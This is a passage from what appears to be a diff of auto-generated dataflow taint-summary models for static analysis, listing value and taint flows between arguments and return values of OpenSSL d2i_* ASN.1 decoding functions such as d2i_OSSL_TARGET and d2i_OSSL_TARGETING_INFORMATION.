"(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_PRIVILEGE_POLICY_ID", "(OSSL_PRIVILEGE_POLICY_ID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID", "(OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGET", "(OSSL_TARGET **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TARGETING_INFORMATION", "(OSSL_TARGETING_INFORMATION **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, 